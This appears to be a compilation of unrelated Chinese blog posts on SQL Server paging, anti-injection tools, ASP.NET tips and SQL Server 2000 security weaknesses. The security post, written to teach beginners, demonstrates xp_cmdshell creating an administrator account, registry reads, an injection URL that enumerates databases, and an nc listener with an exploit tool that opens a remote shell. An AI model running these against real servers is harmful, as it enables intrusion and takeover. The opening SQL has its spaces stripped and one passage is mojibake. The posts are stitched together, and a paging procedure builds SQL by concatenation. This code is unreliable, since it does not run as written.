/*IfsortingcolumnisdefferentfromthePK,SortColumnmust
befetchedaswell,otherwisejustthePKisnecessary
*/
ORDERBYSortColumn/*defaultorder–typicallyASC*/)
ORDERBYSortColumn/*reverseddefaultorder–typicallyDESC*/

SELECTFROMTableJOIN@TemptempONTable.PK=temp.PK
ORDERBYSortColumn/*defaultorder*/

完整代码:Paging_Asc_Desc

行计数

这个方法的基本逻辑依赖于SQL中的SET ROWCOUNT表达式,这样可以跳过不必要的行并且获得需要的行记录

<!–<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>–>DECLARE@Sort/*thetypeofthesortingcolumn*/
SETROWCOUNT@StartRow
SELECT@Sort=SortColumnFROMTableORDERBYSortColumn
SETROWCOUNT@PageSize
SELECTFROMTableWHERESortColumn>=@SortORDERBYSortColumn

完整代码:Paging_RowCount

子查询
还有两个方法也是我考虑过的,他们的来源不同。第一个是众所周知的三角查询(Triple Query)或者说自查询方法,我找的一个比较透彻的方法在下面的文章中有描述

SQL Server服务器端分页

虽然你需要订阅,但是可以下载一个包含子查询存储过程定义的zip文件。列表4 SELECT_WITH_PAGINGStoredProcedure.txt文件包含一个完整的通用的动态SQL。在本文中,我也用一个类似的包含所有其他存储过程的通用逻辑。这里的原理是连接到整个过程中,我对原始代码做了一些缩减,因为recordcount在我的测试中不需要)

<!–<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>–>SELECTFROMTableWHEREPKIN
(
SELECTTOP@PageSizePKFROMTableWHEREPKNOTIN
(
SELECTTOP@StartRowPKFROMTableORDERBYSortColumn)
ORDERBYSortColumn)
ORDERBYSortColumn

完整代码:Paging_SubQuery

游标
在看google讨论组的时候,我找到了最后一个方法,你可以点这里查看原始帖子。该方法是用了一个服务器端动态游标。许多人试图避免使用游标,因为游标没有关系可言,以及有序性导致其效率不高,但回过头来看,分页其实是一个有序的任务,无论你使用哪种方法,你都必须回到开始行记录。在之前的方法中,先选择所有在开始记录之前的所有行,加上需要的行记录,然后删除所有之前的行。动态游标有一个FETCH RELATIVE选项可以完成魔法般的跳转。基本的逻辑如下:

<!–<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>–>DECLARE@PK/*PKType*/
DECLARE@tblPKTABLE(
PK
/*PKType*/NOTNULLPRIMARYKEY
)

DECLAREPagingCursorCURSORDYNAMICREAD_ONLYFOR
SELECT@PKFROMTableORDERBYSortColumn

OPENPagingCursor
FETCHRELATIVE@StartRowFROMPagingCursorINTO@PK

WHILE@PageSize>0AND@@FETCH_STATUS=0
BEGIN
INSERT@tblPK(PK)VALUES(@PK)
FETCHNEXTFROMPagingCursorINTO@PK
SET@PageSize=@PageSize1
END

CLOSEPagingCursor
DEALLOCATEPagingCursor

SELECTFROMTableJOIN@tblPKtempONTable.PK=temp.PK
ORDERBYSortColumn

完整代码:Paging_Cursor

复杂查询的通用化
我在之前指出,所有的存储过程都是用动态SQL实现通用性的,因此,理论上它们可以用任何种类的复杂查询。下面有一个基于Northwind数据库的复杂查询例子。

<!–<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>–>SELECTCustomers.ContactNameASCustomer,
Customers.Address
+,+Customers.City+,+
Customers.Country
ASAddress,
SUM([OrderDetails].UnitPrice*[OrderDetails].Quantity)AS
[Totalmoneyspent]
FROMCustomers
INNERJOINOrdersONCustomers.CustomerID=Orders.CustomerID
INNERJOIN[OrderDetails]ONOrders.OrderID=[OrderDetails].OrderID
WHERECustomers.Country<>USAANDCustomers.Country<>Mexico
GROUPBYCustomers.ContactName,Customers.Address,Customers.City,
Customers.Country
HAVING(SUM([OrderDetails].UnitPrice*[OrderDetails].Quantity))>1000
ORDERBYCustomerDESC,AddressDESC

返回第二个页面的分页存储调用如下:

<!–<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>–>EXECProcedureName
/*Tables*/
Customers
INNERJOINOrdersONCustomers.CustomerID=Orders.CustomerID
INNERJOIN[OrderDetails]ONOrders.OrderID=[OrderDetails].OrderID
,
/*PK*/
Customers.CustomerID,
/*ORDERBY*/
Customers.ContactNameDESC,Customers.AddressDESC,
/*PageNumber*/
2,
/*PageSize*/
10,
/*Fields*/
Customers.ContactNameASCustomer,
Customers.Address+
,+Customers.City+,+Customers.Country
ASAddress,
SUM([OrderDetails].UnitPrice*[OrderDetails].Quantity)AS[Totalmoneyspent]
,
/*Filter*/
Customers.Country<>USAANDCustomers.Country<>Mexico”’,
/*GroupBy*/
Customers.CustomerID,Customers.ContactName,Customers.Address,
Customers.City,Customers.Country
HAVING(SUM([OrderDetails].UnitPrice*[OrderDetails].Quantity))>1000

值得注意的是,在原始查询中在ORDER BY语句中使用了别名,但你最好不要在分页存储过程中这么做,因为这样的话跳过开始记录之前的行是很消耗时间的。其实有很多种方法可以用于实现,但原则是不要在一开始把所有的字段包括进去,而仅仅是包括主键列(等同于RowCount方法中的排序列),这样可以加快任务完成速度。只有在请求页中,才获得所有需要的字段。并且,在最终查询中不存在字段别名,在跳行查询中,必须提前使用索引列。

行计数(RowCount)存储过程有一个另外的问题,要实现通用化,在ORDER BY语句中只允许有一个列,这也是升序-降序方法和游标方法的问题,虽然他们可以对几个列进行排序,但是必须保证主键中只有一个字段。我猜如果用更多的动态SQL是可以解决这个问题的,但是在我看来这不是很值得。虽然这样的情况很有可能发生,但他们发生的频率不是很高。通常你可以用上面的原理也独立的分页存储过程。

性能测试
在测试中,我使用了四种方法,如果你有更好的方法的话,我很有兴趣知道。不管如何,我需要对这些方法进行比较,并且评估它们的性能。首先我的第一个想法就是写一个asp.net包含分页DataGrid的测试应用程序,然后测试页面结果。当然,这无法反映存储过程的真实响应时间,所以控制台应用程序显得更加适合。我还加入了一个Web应用程序,但不是为了性能测试,而是一个关于DataGrid自定义分页和存储过程一起工作的例子。这两个应用程序都可以在 Paging Test Solution中找到。

在测试中,我使用了一个自动生成得大数据表,大概插入了500000条数据。如果你没有一张这样的表来做实验,你可以点击这里下载一段用于生成数据的表设计和存储过程脚本。我没有使用一个自增的主键列,而是用一个唯一识别码来识别记录的。如果我使用上面提到的脚本,你可能会考虑在生成表之后添加一个自增列,这些自增数据会根据主键进行数字排序,这也意味着你打算用一个带有主键排序的分页存储过程来获得当前页的数据。

为了实现性能测试,我是通过一个循环多次调用一个特定的存储过程,然后计算平均相应时间来实现的。考虑到缓存的原因,为了更准确地建模实际情况——同一页面对于一个存储过程的多次调用获得数据的时间通常是不适合用来做评估的,因此,我们在调用同一个存储过程时,每一次调用所请求的页码应该是随机的。当然,我们必须假设页的数量是固定的,10-20页,不同页码的数据可能被获取很多次,但是是随机获取的。

有一点我们很容易注意到,相应时间是由要获取的页数据相对于结果集开始的位置的距离决定的,越是远离结果集的开始位置,就有越多的记录要跳过,这也是我为什么不把前20也包括进我的随机序列的原因。作为替换,我会使用2的n次方个页面,循环的大小是需要的不同页的数量*1000,所以,每个页面几乎都被获取了1000次(由于随机原因,肯定会有所偏差)

结果
这里有我的测试结果:Paging_Results (Excel文件)





结论
测试是按照从性能最好到最差的顺序进行的——行计数、游标、升序-降序、子查询。有一件事很有趣,通常人们很少会访问前五页之后的页面,因此子查询方法可能在这种情况下满足你的需要,这得看你的结果集的大小和对于远距离(distant)页面的发生频率预测,你也很有可能使用这些方法的组合模式。如果是我,在任何情况下,我都更喜欢用行计数方法,它运行起来十分不错,即使对于第一页也是如此,这里的“任何情况”代表了一些很难实现通用化的情况,在这种情况下,我会使用游标。(对于前两页我可能使用子查询方法,之后再用游标方法)

阻止网页挂马的若干工具

上个blog中提到国内网站被挂马的常见原因是SQL注入攻击。

那么,除了在Web开发的时候注意以外,有什么有效的工具可以对抗SQL注入攻击?

今天,微软和惠普的安全部门合作发布了三个工具,分别是:

微软SQL注入攻击源码扫描器:Microsoft Source Code Analyzer for SQL Injection (MSCASI)。这个工具给网站开发人员使用。是一个静态扫描ASP代码的工具,可以查找发现第一类和第二类的SQL注入攻击漏洞。工具下载地址:

http://support.microsoft.com/kb/954476

惠普的 Scrawlr工具。这个工具可以被网站的维护人员使用,是一个黑箱扫描工具,不需要源代码。指定起始URL开始扫描。缺点是不能准确定位代码的漏洞(因为是黑箱测试)。工具下载地址:

http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/23/finding-sql-injection-with-scrawlr.aspx

微软的URLScan 3.0 Beta。这个工具可以被网站的维护人员使用。它是一个输入过滤工具。如果你发现网站被SQL注入工具,你可以在一边修补代码漏洞的同时,使用这个攻击在过滤掉恶意的输入。当然,修补代码中的漏洞是完全避免SQL注入攻击的真正解决方案。工具下载地址:

http://blogs.iis.net/wadeh/archive/2008/06/05/urlscan-v3-0-beta-release.aspx

SWI的博客上有更进一步的描述。http://blogs.technet.com/swi/archive/2008/06/24/new-tools-to-block-and-eradicate-sql-injection.aspx

那么,这三个工具是如何配合使用的?下面给出一个例子。

步骤一:网站的维护人员使用Scrawlr扫描网站,检查是否存在SQL注入漏洞

步骤二:发现存在漏洞后,通知开发人员。开发人员使用MSCASI对ASP源码静态扫描来确定代码中什么地方导致的SQL注入攻击漏洞。

步骤三:在开发人员修补漏洞的同时,维护人员可以使用URLScan来过滤可能的恶意输入,以确保网站的安全。

这三个工具的配合使用可以很大程度上减少网站被挂马的可能。说实话,现在被挂马的网站实在是太多了!

asp.net常用的开发技巧

1.Asp.Net中几种相似的标记符号: < %=…%>< %#… %>< % %>< %@ %>解释及用法

答: < %#… %>: 是在绑定控件DataBind()方法执行时被执行,用于数据绑定
如: < %# Container.DataItem(“tit”) %>

< %= %>: 在程序执行时被调用,可以显示后台变量值
如:
*.aspx中: < %= aaa %>
*.cs中: protected string aaa=”姓名”;

< % %>: 内联代码块里面可以在页面文件*.aspx或*.ascx文件里面嵌入后台代码
如:
< %
for(int i=0;i

< %@ %>是在*.aspx页面前台代码导入命名空间,
如:
< %@ Import namespace=”System.Data”%>

2.控件接收哪些类型数据 
答:接收Bind的控件,一般有DropDownList,DataList,DataGrid,ListBox这些集合性质的控件,而被捆绑 的主要是ArrayList(数组),Hashtable(哈稀表),DataView(数据视图),DataReader这四个,以后我们就可以 对号入座,不会出现DataTable被捆绑的错误了:)

DropDownList——ArrayList(数组)
DataList——-Hashtable(哈稀表)
DataGrid——-DataView(数据视图)
ListBox——-DataView(数据视图)

3.DataBind,获得的数据,系统会将其默认为String,怎样转化为其它的类型 
DataBinder.Eval(Container.DataItem,”转换的类型”,”格式”)
最后一个”格式”是可选的,一般不用去管他,Container.DataItem是捆绑的数据项,”转换类型”指的是 Integer,String,Boolean这一类东西.

4.主要命名空间:
< % @ Import Namespace=”System.Data” %> 处理数据时用到
< % @ Import Namespace=”System.Data.ADO” % > 使用ADO.net ; 时用到
< % @ Import Namespace=”System.Data.SQL” %> SQL Server 数据库专用
< % @ Import Namespace=”System.Data.XML” %> 不用看处理XML用到
< % @ Import Namespace=”System.IO” %> 处理文件时用到
< % @ Import Namespace=”System.Web.Util” %> 发邮件时大家会用到
< % @ Import Namespace=”System.Text” %> 文本编码时用到

5.Connections(SQLConection 或者 ADOConnection)的常用属性和方法:
| ConnectionString 取得或设置连结数据库的语句
| ConnectionTimeout 取得或设置连结数据库的最长时间,也是就超时时间
| DataBase 取得或设置在数据库服务器上要打开的数据库名
| DataSource 取得或设置DSN,大家不会陌生吧:)
| Password 取得或设置密码
| UserID 取得或设置登陆名
| State 取得目前联结的状态
| Open() 打开联结
| Close() 关闭联结
| Clone() 克隆一个联结。(呵呵,绵羊可以Connection我也可以)
示例:
SQLConnection myConnection = new SQLConnection();
myConnection.DataSource = “mySQLServer”;
myConnection.Password = “”;
myConnection.UserID = “sa”;
myConnection.ConnectionTimeout = 30;
myConnection.Open();
myConnection.Database = “northwind”;
myConnection.IsolationLevel = IsolationLevel.ReadCommitted
6.Command常用的方法和属性
| ActiveConnection 取得或设置联结Connections
| CommandText 执行的SQL语句或储存过程(StoredProcedure)名
| CommandTimeout 执行的最长时间
| CommandType Command操作的类型(StoredProcedure,Text,TableDirect)三种,默认Text
| Parameters 操作储存过程时使用
| Execute() 执行SQL语句或储存过程
| ExecuteNonQuery() 同上,区别在于不返回记录集
| Clone() 克隆Command
示例:
string mySelectQuery = “SELECT * FROM Categories ORDER BY CategoryID”;
stringmyConnectString=”userid=sa;password=;database=northwind;server=mySQLServer”;
SQLCommand myCommand = new SQLCommand(mySelectQuery);
myCommand.ActiveConnection = new SQLConnection(myConnectString);
myCommand.CommandTimeout = 15;
myCommand.CommandType = CommandType.Text;< /FONT >

7.打开和关闭数据库两种方法:
1.MyConnection.Open(); //打开联结
MyConnection.Close();
2.MyCommand.ActiveConnection.Open();
MyCommand.ActiveConnection.Close()

8.使用DataSet,在数据库中增加、修改、删除一个数据
a.添加数据
DataRow dr=MyDataSet.Tables[“UserList”].NewRow();
dr[“UserName”] = “周讯”;
dr[“ReMark”] = “100”;
dr[“Comment”] = “漂亮MM”;
MyDataSet.Tables.Rows.Add(dr);

b.修改数据
MyDataSet.Tables[“UserList”].Rows[0][“UserName”]=”飞刀大哥”;

c.删除数据
MyDataSet.Tables[“UserList”],Rows[0].Delete();

d.恢复数据
if(MyDataSet.HasErrors)
{
MyDataSet.RejectChanges();
}

e.探测DataSet是否有改动
if(MyDataSet.HasChanges)
{
//保存代码
}else{
//因为没有变化,所以不用保存,以节省时间
}

f.更新数据库
MyComm.Update(MyDataSet); //更新数据库中所有的表
MyComm.Update(MyDataSet,”UserList”); //更新某个表

常见的SQLServer2000的漏洞及其相关利用

常见的SQL Server 2000的漏洞及其相关利用

单位的小王学习SQL Server已有一段时间了,已经做了个不错的管理系统,有次小王让我帮着看看库的设计有没有问题,其间我发现他的安全意识非常薄弱,这也许是初学者容易忽视的问题,本文探讨一些SQL Server常见的安全问题,是给初入SQL Server的人看的,写的肯定很絮叨,高手勿读。本文的用的是SQL Server 2000,下文中都简写为SQL Server。

  一、空口令或弱口令

  初学者在安装SQL Server时为了省事,SQL Server管理员sa 用的是空口令或弱口令,这样危险性十分巨大,而这些危险往往是初学者意识不到的,小王就觉得,自己的库是试验数据,没什么用,即使别人连上库也无所谓。殊不知SQL Server的默认用户sa的权限非常巨大,有种观点是sa的权限要大于administrator的权限,也就是说没有限制的sa用户可以做Windows系统管理员所做的任何事。

  下面我们做个简单的试验。通过SQL Server给Windows系统增加一个用户user1,并且把该用户增加到管理员用户组administrators里。

  1、首先看看正常情况下在Windows系统增加该用户的方法。

  有两种:一是在图形界面下进行,二是在命令窗口下进行,下面演示通过命令增加用户。

  1)、在”开始”——〉”运行”处输入cmd,回车进入到命令窗口,如图1所示:
  2)、第一行命令net user user1 /add (增加一个用户名是user1的用户)。
  3)、第二行net localgroupadminisstrators user1 /add(将此用户增加到管理员用户组administrators中)。
  4)、第三行net user(查看目前系统的用户,可以看到已增加了user1用户)。
  5)、第四行net user user1 /delete (删除user1用户),为了下面通过SQL Server 给系统增加用户。

图1

  2、在SQL Server中增加系统用户

  1)、打开SQL Server的”企业管理器”——〉”工具”——〉 “SQL 查询分析器” 。如图2,输入要连接的SQL Server的IP地址,确定后出现图3界面,注意连接的是master库。

图2

  2)、如图3所示,在查询窗口中输入:exec xp_cmdshell ‘net user user1 /add’,按 执行,如果出现图4″命令成功完成”的提示说明执行成功。

  3)、接着如图5所示,输入exec xp_cmdshell ‘net localgroup administrators user1 /add’,执行成功后出现图5的提示说明。

图3

图4

图5

  上边输入的 net user user1 /add 和 net localgroup administrators user1 /add是不是很眼熟?它们就是我们上面用过的windows系统下的标准命令。图6可以看出user1已增加到管理员administrators组中。

图6

  看到这明白了吧!通过功能强大的SQL Server可以做Windows系统管理员能做的事。上面通过SQL Server建立用户的实验是我从本机远程连接到测试机的SQL Server,增加了用户,图7是用刚建立的用户user1和远程计算机建立的ipc连接,这时要进入这台机器就是易如反掌的事了。接下来的的安全知识自己查查吧,网上非常多的。

图7

  3、进一步解释

  上面用的xp_cmdshell是SQL Server的扩展存储过程中的一个,存储过程就像是我们编程用的函数,内容是按需要编写的一系列SQL 语句和可选控制流语句,可由应用程序通过一个调用执行,而且允许用户声明变量、有条件执行以及其它强大的编程功能。每个库都可以存放存储过程,但扩展存储过程只存在master 数据库中,对用户来说,扩展存储过程与普通存储过程一样,执行方法也相同。但扩展存储过程能执行除了数据库之外的许多操作,上面我们看到通过调用xp_cmdshell可以执行windows系统下的各种命令。

  扩展存储过程的功能非常强大,如图8,它们存在master库中的扩展存储过程中。

  如xp_regenumvalues、 xp_regread、 xp_regwrite 、xp_regdeletevalue、 xp_regdeletekey这些扩展存储过程能对注册表进行读写操作。例如:可以通过下面命令查看注册表中的启动项目。

  Exec xp_regenumvalues ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’

图8

二、注入和跨库攻击

  注入和跨库攻击可能是2004年黑客攻击中最流行的词了,它的原理和上面讲的都是获得了SQL Server管理员sa的权限,从而控制数据库,还可以利用xp_cmdshell这样的SQL Server的扩展存储过程控制Windows系统。注入和空口令获取sa权限的方法不同,注入是ASP程序在连接SQL Server时有漏洞,黑客利用漏洞获取了sa权限。说到这,小王有点疑问,程序中sa连接的是自己的库而扩展存储过程在master库中,如何利用的?简单的说,有sa 的权限后就能查询出用户建的什么库,库中有哪些表,表中有什么字段,表的纪录等。这些又是如何实现的呢?

  要解答这个问题需要从两个方面着手,一是新建个库后,SQL Server起了什么变化?二是SQL Server的权限。

  1、新建一个库后其在系统库和系统表的位置

  例:在SQL Server新建一个库,库名称为:xyz,在该库下建一个test的表,表中字段为id、name、password。

  1)、库在哪里?
  SQL Server安装完毕后默认安装了master、model、msdb、northwind、pubs、tempdb这6个库,其中northwind、pubs是例子库,其它都是系统数据库,各有其用。xyz库建好后,库名称存在master库中的sysdatabases表中,如图9所示,sysdatabases表中的 dbid字段的值大于6的就是用户自己建的库。图10中用SELECT name FROM sysdatabases where dbid>6可以查出用户自己建的库,刚建的xyz库也在其中。

图9

图10

  2)、表在哪里?

  表名称存在xyz库中的sysobjects表且xtype=’u’,如图11,输入SELECT *FROM sysobjects where xtype=’u’可以查出表名称是test,记住我们刚建的表test对应的id是357576312


图11

  3)、有哪些字段?

  test表中有哪些字段呢?该表的字段存在xyz库中的syscolumns表中,且id等于sysobjects表中test表对应的id,也就是我们上面查出来的357576312。

  如图12,输入SELECT * FROM syscolumns where id=’357576312’可以查出test表中的字段。


图12

  4)、总结

  当有相应权限的用户连到SQL Server后,能通过查询master库中的sysdatabases表得到用户建的数据库名称,接着再查询用户数据库的sysobjects表查出创建的表,接着再查询用户数据库的syscolumns表查出表中的字段,进而查出纪录。

  这个例子提到有相应权限的用户,那用户具有哪些权限呢?我们接着说。

  2、理解用户、角色和权限这几个概念

  要对这几个概念讲得很明白,需要很大的篇幅,本文只作简要介绍。

  要想访问SQL Server必须是它的一个用户,如果要访问某个数据库,必须赋予该用户访问此数据库的权限。角色就是一系列权限的集合。用户和角色的关系就像Windows系统中的用户和用户组的关系。

还是举例说明吧!sa为什么有那么大的权限?

  sa是SQL Server的默认超级用户,就像系统的administrator用户一样,如图13,点击在”安全性”——〉”登录”,在右栏的sa用户下鼠标右键,出现图14的sa属性界面选到”服务器角色”项,可以看到sa的角色是system administrators(简写为sysadmin),前面提到角色就是一系列权限的集合,点击图14的”属性”,在图15中可以看到该角色拥有操作SQL Server的所有权限。如图16可以看出sa具有所有数据库的访问权限,现在明白sa为什么有那么大的权限了吧。


图13


图14


图15


图16

  实际做管理系统时并不需要用户有那么大的权限,一般只要能访问自己建的库就行了。可以新建个用户,只给此用户有限的权限,这样安全系数应该高些,从这个思路出发看看如何实现。

  1)、新建aaa用户

  如图17,新建登录后出现图18界面,输入用户名aaa,在输入个强壮的密码。

图17

图18

  2)、设置权限

  如图18,在”服务器角色”选项中什么也不选,如图19,在”数据库访问”选项中只选”xyz”库,也就是说只让aaa用户访问xyz库。”数据库角色中允许”只选默认的”public”。

图19

图20

  3)、测试

  设置好后,用aaa用户登陆”SQL 查询分析器”,如图21,执行exec xp_cmdshell ‘net user user1 /add’,出现了期待的结果,没有权限执行。

图21

  接着执行SELECT name FROM sysdatabases where dbid>6,期待的结果是没有权限执行,可实际的结果和图10的查询结果一模一样,aaa用户不是没有master库的权限吗?aaa用户除了不能访问自己建的库wz_cxxt_new外,其它的库都能访问,问题出在哪呢?

问题出在public 角色,下面这段话是SQL Server帮助中写的。

  public 角色是一个特殊的数据库角色,每个数据库用户都属于它。public 角色:

  · 捕获数据库中用户的所有默认权限。
  · 无法将用户、组或角色指派给它,因为默认情况下它们即属于该角色。
  · 含在每个数据库中,包括 master、msdb、tempdb、model 和所有用户数据库。
  · 无法除去。

  如图22是master库中的”public”角色,双击”public”,在界面中单击”权限”,出现图23界面,可以看到该角色具有sysdatabases的访问权限。可以看到权限分得非常细,有select、insert、update、delete等,如图24,把权限改为禁止,再执行SELECT name FROM sysdatabases时出现了”拒绝了对对象 ‘sysdatabases’(数据库 ‘master’,所有者 ‘dbo’)的 SELECT 权限。”的提示。

图22

图23

图24

  Public角色默认没有执行扩展存储过程的权限,但可以赋予该角色执行的权限,有访问库的权限,也可以去掉。看到这,是不是觉得非常麻烦,本来权限的设置就是个双刃剑,设置得过于宽松会有安全漏洞,过于严格在程序运行时可能会出问题,本文无法给出一个彻底的解决方案,只要在懂得原理的基础上,在实践中不断摸索才能理出一个最佳方案。

  3、注入

  对于SQL Server+ASP的注入,有一种是ASP连接SQL Server用户的权限足够大,而ASP程序本身有漏洞,而从而构造出类似http://www.***.com/aaa.asp id=2300 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 这样的SQL语句,根据前文讲的原理暴出库、表及相Φ募吐肌 /p>

  关于注入有许多精彩和经典的文章,还有像NBSI2那样好用的工具,在此就不班门弄斧了。

  三、SQL Server不打补丁的漏洞

  小王的SQL Server是安装在win 2000上的,没有打补丁,没打补丁的SQL Server就是个大漏勺,无论你的权限设置的多么严格都是一张一捅就破的烂纸。下面的例子是对有漏洞的SQL Serve(安装在192.168.113.10这台机器上)的攻击,实验中用到了两个工具,nc和sql2,nc别名瑞士军刀,是古老且十分强大的网络工具,如果想知道详细用法请参考网上的相关资料,sql2是专门攻击有漏洞的SQL Serve(sp2以下,含sp2),过程如下:

  如图25,在我的机器(IP地址为192.168.113.207)的命令窗口下(运行cmd)运行nc -l -p 77,意思是在本机开个77的端口
新建一个命令窗口,运行sql2 192.168.113.10 192.168.113.207 77 0

  如果192.168.113.10上的SQL Serve有漏洞,192.168.113.207的nc监视窗口就会出现下图26的界面,注意!这个界面可是装有SQL Serve机器的,换句话,我们已经入侵到这台机器了。接着看下图27,用ipconfig 查的地址是192.168.113.10,它归你控制了,简单吧!

图25

图26

图27

  四、几点建议

  1、及时打补丁

  不打补丁的危害上面已经演示了,道理就不用多说了吧!

  2、最小的权限等于对大的安全

  这句话说起容易,做起难,有一个简单易行的办法就是用流行的漏洞扫描工具和攻击工具检测本系统是否安全,这样的工具非常多,自己找吧。

  3、安装防火墙

  如果只是在本机调试系统,安装防火墙是非常好的选择,这样即使有漏洞别人也无法攻击。

  4、改变端口

  如果SQL Serve需要远程访问,端口一定是要开放的,即使安装了防火墙,也要将SQL Serve的服务端口1433放开,针对SQL Serve的攻击工具主要扫描的是1433端口,可以改变默认端口,这样虽然不能从根本上解决问题,但可以对付一般的扫描,改变端口最简单的办法是在打开”开始”——〉”所有程序”——〉”Microsoft SQL Serve” ——〉”服务器网络实用工具”,在界面中选中”TCP/IP”,点击”属性”,把1433改为不超过65535的一个数,重启SQL Serve服务,这样默认端口就改了,注意这时你远程连接SQL Serve时IP地址后要加改过的端口号。

  5、删除不需要的扩展存储过程

  如果你的系统中确实不需要这些扩展存储过程可以删除。

  删除存储过程的命令是:EXEC sp_dropextendedproc ‘存储过程的名称’

  例如要删除xp_cmdshell,执行EXEC sp_dropextendedproc ‘xp_cmdshell’,每个扩展存储过程实际上用的是相应的dll文件,如果想彻底让该存储过程不起作用,还要将dll文件也删除。这些文件一般存在Program Files\Microsoft SQL Server\MSSQL\Binn下,如图28,xp_cmdshell的dll文件是xplog70.dll

  要恢复该存储过程,命令是:

  EXEC sp_addextendedproc存储过程的名称 ,@dllname =’存储过程的dll’

  例如:恢复存储过程xp_cmdshell

  EXEC sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’,注意,恢复时如果xplog70.dll已删除需要copy一个。

注:本文转自http://lkblog.bokee.com/544211.html

如何优化操作大数据量数据库

NO.4 实现小数据量和海量数据的通用分页显示存储过程

建立一个web 应用,分页浏览功能必不可少。这个问题是数据库处理中十分常见的问题。经典的数据分页方法是:ADO 纪录集分页法,也就是利用ADO自带的分页功能(利用游标)来实现分页。但这种分页方法仅适用于较小数据量的情形,因为游标本身有缺点:游标是存放在内存中,很费内存。游标一建立,就将相关的记录锁住,直到取消游标。游标提供了对特定集合中逐行扫描的手段,一般使用游标来逐行遍历数据,根据取出数据条件的不同进行不同的操作。而对于多表和大表中定义的游标(大的数据集合)循环很容易使程序进入一个漫长的等待甚至死机。

更重要的是,对于非常大的数据模型而言,分页检索时,如果按照传统的每次都加载整个数据源的方法是非常浪费资源的。现在流行的分页方法一般是检索页面大小的块区的数据,而非检索所有的数据,然后单步执行当前行。

最早较好地实现这种根据页面大小和页码来提取数据的方法大概就是“俄罗斯存储过程”。这个存储过程用了游标,由于游标的局限性,所以这个方法并没有得到大家的普遍认可。

后来,网上有人改造了此存储过程,下面的存储过程就是结合我们的办公自动化实例写的分页存储过程:

Create procedure pagination1

(@pagesize int, –页面大小,如每页存储20条记录

@pageindex int –当前页码

)

as

set nocount on

begin

declare @indextable table(id int identity(1,1),nid int) –定义表变量

declare @PageLowerBound int –定义此页的底码

declare @PageUpperBound int –定义此页的顶码

set @PageLowerBound=(@pageindex-1)*@pagesize

set @PageUpperBound=@PageLowerBound+@pagesize

set rowcount @PageUpperBound

insert into @indextable(nid) select gid from TGongwen where fariqi >dateadd(day,-365,getdate()) order by fariqi desc

select O.gid,O.mid,O.title,O.fadanwei,O.fariqi from TGongwen O,@indextable t where O.gid=t.nid

and t.id>@PageLowerBound and t.id<=@PageUpperBound order by t.id

end

set nocount off

以上存储过程运用了SQL SERVER的最新技术――表变量。应该说这个存储过程也是一个非常优秀的分页存储过程。当然,在这个过程中,您也可以把其中的表变量写成临时表: Create TABLE #Temp。但很明显,在SQL SERVER中,用临时表是没有用表变量快的。所以笔者刚开始使用这个存储过程时,感觉非常的不错,速度也比原来的ADO的好。但后来,我又发现了比此方法更好的方法。

笔者曾在网上看到了一篇小短文《从数据表中取出第n条到第m条的记录的方法》,全文如下:

从publish 表中取出第 n 条到第 m 条的记录:

Select TOP m-n+1 *

FROM publish

Where (id NOT IN

(Select TOP n-1 id

FROM publish))

id 为publish 表的关键字

我当时看到这篇文章的时候,真的是精神为之一振,觉得思路非常得好。等到后来,我在作办公自动化系统(ASP.NET+ C#+SQL SERVER)的时候,忽然想起了这篇文章,我想如果把这个语句改造一下,这就可能是一个非常好的分页存储过程。于是我就满网上找这篇文章,没想到,文章还没找到,却找到了一篇根据此语句写的一个分页存储过程,这个存储过程也是目前较为流行的一种分页存储过程,我很后悔没有争先把这段文字改造成存储过程:

Create PROCEDURE pagination2

(

@SQL nVARCHAR(4000), –不带排序语句的SQL语句

@Page int, –页码

@RecsPerPage int, –每页容纳的记录数

@ID VARCHAR(255), –需要排序的不重复的ID号

@Sort VARCHAR(255) –排序字段及规则

)

AS

DECLARE @Str nVARCHAR(4000)

SET @Str=’Select TOP ‘+CAST(@RecsPerPage AS VARCHAR(20))+’ * FROM (‘+@SQL+’) T Where T.’+@ID+’NOT IN

(Select TOP ‘+CAST((@RecsPerPage*(@Page-1)) AS VARCHAR(20))+’ ‘+@ID+’ FROM (‘+@SQL+’) T9 orDER BY ‘+@Sort+’) orDER BY ‘+@Sort

PRINT @Str

EXEC sp_ExecuteSql @Str

GO

其实,以上语句可以简化为:

Select TOP 页大小 *

FROM Table1

Where (ID NOT IN

(Select TOP 页大小*页数 id

FROM 表

orDER BY id))

orDER BY ID

但这个存储过程有一个致命的缺点,就是它含有NOT IN字样。虽然我可以把它改造为:

Select TOP 页大小 *

FROM Table1

Where not exists

(select * from (select top (页大小*页数) * from table1 order by id) b where b.id=a.id )

order by id

即,用not exists来代替not in,但我们前面已经谈过了,二者的执行效率实际上是没有区别的。

既便如此,用TOP 结合NOT IN的这个方法还是比用游标要来得快一些。

虽然用not exists并不能挽救上个存储过程的效率,但使用SQL SERVER中的TOP关键字却是一个非常明智的选择。因为分页优化的最终目的就是避免产生过大的记录集,而我们在前面也已经提到了TOP的优势,通过TOP 即可实现对数据量的控制。

在分页算法中,影响我们查询速度的关键因素有两点:TOP和NOT IN。TOP可以提高我们的查询速度,而NOT IN会减慢我们的查询速度,所以要提高我们整个分页算法的速度,就要彻底改造NOT IN,同其他方法来替代它。

我们知道,几乎任何字段,我们都可以通过max(字段)或min(字段)来提取某个字段中的最大或最小值,所以如果这个字段不重复,那么就可以利用这些不重复的字段的max或min作为分水岭,使其成为分页算法中分开每页的参照物。在这里,我们可以用操作符“>”或“<”号来完成这个使命,使查询语句符合SARG形式。如:

Select top 10 * from table1 where id>200

于是就有了如下分页方案:

select top 页大小 *

from table1

where id>

(select max (id) from

(select top ((页码-1)*页大小) id from table1 order by id) as T

)

order by id

